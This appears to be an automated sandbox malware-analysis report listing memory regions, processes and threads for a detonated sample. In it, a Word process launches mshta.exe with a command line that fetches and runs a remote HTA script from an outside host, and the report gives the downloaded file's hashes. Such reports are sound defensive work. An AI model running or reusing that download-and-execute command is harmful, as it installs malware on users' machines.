system.web.services.dll 0x039a0000 0x03a6cfff Memory Mapped File Readable True False False
  • Region Actions
mscorlib.dll 0x03a70000 0x03ecafff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000003ed0000 0x03ed0000 0x03fcffff Private Memory Readable, Writable True True False
private_0x000000006fff0000 0x6fff0000 0x6fffffff Private Memory Readable, Writable, Executable True True False
msvcr80.dll 0x75360000 0x75428fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
diasymreader.dll 0x516f00000 0x516fc5fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
cscomp.dll 0x538000000 0x5381e8fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
alink.dll 0x59c800000 0x59c822fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x7fee38d0000 0x7fee426cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoreei.dll 0x7fef13f0000 0x7fef1488fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x7fef1910000 0x7fef197efff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorpe.dll 0x7fef1af0000 0x7fef1b1bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
c2r64.dll 0x7fef5860000 0x7fef5988fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
appvisvstream64.dll 0x7fef5990000 0x7fef5a09fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
appvisvsubsystems64.dll 0x7fef5a10000 0x7fef5c45fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-synch-l1-2-0.dll 0x7fef8f20000 0x7fef8f22fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
userenv.dll 0x7fefcaf0000 0x7fefcb0dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007fefd9c0000 0x7fefd9c0000 0x7fefd9cffff Private Memory Readable, Writable, Executable True True False
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd6fff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
Threads
Thread 0xba4
(Host: 2, Network: 0)
+
Category Operation Information Success Count Logfile
COM Create interface = 31BCFCE2-DAFB-11D2-9F81-00C04F79A0A3, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER False 1
Fn
COM Create interface = B81FF171-20F3-11D2-8DCC-00A0C9B00521, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER False 1
Fn
Process #3: cvtres.exe
+
Information Value
ID #3
File Name c:\windows\microsoft.net\framework64\v2.0.50727\cvtres.exe
Command Line C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\aETAdzjz\AppData\Local\Temp\RESEDB9.tmp" "c:\Users\aETAdzjz\Desktop\CSCED98.tmp"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:02, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:34
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xbb8
Parent PID 0xba0 (c:\windows\microsoft.net\framework64\v2.0.50727\csc.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BBC
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00140fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00150000 0x001b6fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x002bffff Private Memory Readable, Writable True True False
private_0x00000000002f0000 0x002f0000 0x003effff Private Memory Readable, Writable True True False
cvtres.exe 0x00400000 0x0040cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x0050ffff Private Memory Readable, Writable True True False
private_0x0000000000510000 0x00510000 0x0051ffff Private Memory Readable, Writable True True False
private_0x0000000000550000 0x00550000 0x0055ffff Private Memory Readable, Writable True True False
msvcr80.dll 0x75360000 0x75428fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd4000 0x7fffffd4000 0x7fffffd4fff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
Process #4: mshta.exe
(Host: 590, Network: 0)
+
Information Value
ID #4
File Name c:\windows\system32\mshta.exe
Command Line "C:\Windows\System32\mshta.exe" http://www.samyrai777m.p-host.in/t/t.php?thread=0
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:02, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:34
OS Process Information
+
Information Value
PID 0xbc0
Parent PID 0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BC4
0x BD8
0x BE0
0x BE4
0x BE8
0x BFC
0x 784
0x 82C
0x 84C
0x 878
0x 308
0x 6B4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
  • Region Actions
imm32.dll 0x000c0000 0x000e8fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
mshta.exe.mui 0x000d0000 0x000d0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000100000 0x00100000 0x00100fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
rpcss.dll 0x00120000 0x0019cfff Memory Mapped File Readable False False False
  • Region Actions
rpcss.dll 0x00120000 0x0019cfff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
index.dat 0x00130000 0x0013bfff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00140000 0x00147fff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00150000 0x0015ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00160000 0x0019ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x002affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000002b0000 0x002b0000 0x002b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
windowsshell.manifest 0x002c0000 0x002c0fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000002c0000 0x002c0000 0x002c0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000002d0000 0x002d0000 0x002d1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000002e0000 0x002e0000 0x002e1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000002f0000 0x002f0000 0x002f1fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000300000 0x00300000 0x00300fff Private Memory Readable, Writable True True False
pagefile_0x0000000000300000 0x00300000 0x00300fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000310000 0x00310000 0x0036ffff Private Memory Readable, Writable True True False
private_0x0000000000310000 0x00310000 0x0034ffff Private Memory Readable, Writable True False False
  • Region Actions
oleaccrc.dll 0x00350000 0x00350fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000360000 0x00360000 0x0036ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000370000 0x00370000 0x0046ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000470000 0x00470000 0x0056ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000570000 0x00570000 0x00570fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000570000 0x00570000 0x00571fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000005d0000 0x005d0000 0x005dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000005e0000 0x005e0000 0x006befff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000006d0000 0x006d0000 0x006dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000006e0000 0x006e0000 0x007dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000007e0000 0x007e0000 0x00967fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000970000 0x00970000 0x00af0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000b00000 0x00b00000 0x01efffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001f00000 0x01f00000 0x01ffffff Private Memory Readable, Writable True True False
private_0x0000000001f00000 0x01f00000 0x01f7ffff Private Memory Readable, Writable True True False
private_0x0000000001ff0000 0x01ff0000 0x01ffffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000020a0000 0x020a0000 0x0219ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000021a0000 0x021a0000 0x0238ffff Private Memory Readable, Writable True True False
private_0x00000000021d0000 0x021d0000 0x022cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002310000 0x02310000 0x0238ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02390000 0x0265efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002660000 0x02660000 0x029a2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000029b0000 0x029b0000 0x02bcffff Private Memory Readable, Writable True True False
private_0x0000000002a20000 0x02a20000 0x02b1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002b50000 0x02b50000 0x02bcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002bd0000 0x02bd0000 0x02dcffff Private Memory Readable, Writable True True False
private_0x0000000002c60000 0x02c60000 0x02cdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002d50000 0x02d50000 0x02dcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002e70000 0x02e70000 0x02f6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002f70000 0x02f70000 0x0306ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003080000 0x03080000 0x0317ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000031c0000 0x031c0000 0x032bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003300000 0x03300000 0x033fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003580000 0x03580000 0x0367ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003690000 0x03690000 0x0378ffff Private Memory Readable, Writable True False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
normaliz.dll 0x779c0000 0x779c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
mshta.exe 0xff9d0000 0xff9dffff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mshtml.dll 0x7fee0880000 0x7fee1117fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
oleacc.dll 0x7fef22f0000 0x7fef2343fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ieframe.dll 0x7fef2350000 0x7fef2f06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msimtf.dll 0x7fef3140000 0x7fef314dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasman.dll 0x7fef3160000 0x7fef317bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasapi32.dll 0x7fef3180000 0x7fef31e1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
npmproxy.dll 0x7fef3c70000 0x7fef3c7bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasadhlp.dll 0x7fef46d0000 0x7fef46d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msls31.dll 0x7fef6080000 0x7fef60bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sensapi.dll 0x7fef6630000 0x7fef6638fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netprofm.dll 0x7fef6660000 0x7fef66d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rtutils.dll 0x7fefadc0000 0x7fefadd0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winrnr.dll 0x7fefaf90000 0x7fefaf9afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pnrpnsp.dll 0x7fefafa0000 0x7fefafb8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
napinsp.dll 0x7fefafc0000 0x7fefafd4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dwmapi.dll 0x7fefb180000 0x7fefb197fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x7fefb560000 0x7fefb5b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dhcpcsvc.dll 0x7fefbc30000 0x7fefbc47fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dhcpcsvc6.dll 0x7fefbc50000 0x7fefbc60fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fwpuclnt.dll 0x7fefbc80000 0x7fefbcd2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winnsi.dll 0x7fefbdd0000 0x7fefbddafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iphlpapi.dll 0x7fefbde0000 0x7fefbe06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nlaapi.dll 0x7fefbf70000 0x7fefbf84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x7fefc060000 0x7fefc253fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x7fefc740000 0x7fefc76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wshtcpip.dll 0x7fefc9e0000 0x7fefc9e6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dnsapi.dll 0x7fefce60000 0x7fefcebafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wship6.dll 0x7fefcfd0000 0x7fefcfd6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mswsock.dll 0x7fefcfe0000 0x7fefd034fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x7fefd610000 0x7fefd634fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sxs.dll 0x7fefd650000 0x7fefd6e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x7fefd730000 0x7fefd743fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msasn1.dll 0x7fefd7f0000 0x7fefd7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
crypt32.dll 0x7fefd840000 0x7fefd9a6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iertutil.dll 0x7fefdf60000 0x7fefe1b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
urlmon.dll 0x7fefe3d0000 0x7fefe547fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x7fefe5f0000 0x7fefe63cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x7fefe7f0000 0x7fefe841fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wininet.dll 0x7feff5e0000 0x7feff709fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x7feff9c0000 0x7feff9c7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007fffffa6000 0x7fffffa6000 0x7fffffa7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffa8000 0x7fffffa8000 0x7fffffa9fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffaa000 0x7fffffaa000 0x7fffffabfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffac000 0x7fffffac000 0x7fffffadfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffae000 0x7fffffae000 0x7fffffaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd4000 0x7fffffd4000 0x7fffffd5fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffd8000 0x7fffffd8000 0x7fffffd8fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffda000 0x7fffffda000 0x7fffffdbfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True False False
  • Region Actions
For performance reasons, the remaining 23 entries are omitted.
The remaining entries can be found in flog.txt.
Modified Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\aetadzjz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\t[2].hta 3.24 KB (3313 bytes) MD5: 13b131d98fea2526196b20496ec68b0a
SHA1: 1284d7400f30f5a2c409f3f53fcf34b30c32268d
SHA256: ae09b5dc38c85387a861cb4aee8b08ef6c7b216f21ba1bd06c9d1b3adab46a75 		False
Threads
Thread 0xbc4
(Host: 327, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-24 17:37:59 (UTC) True 1
Fn
System Get Time type = Ticks, time = 127203 True 1
Fn
Module Get Handle module_name = c:\windows\system32\mshta.exe, base_address = 0xff9d0000 True 1
Fn
System Get Info type = Operating System False 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
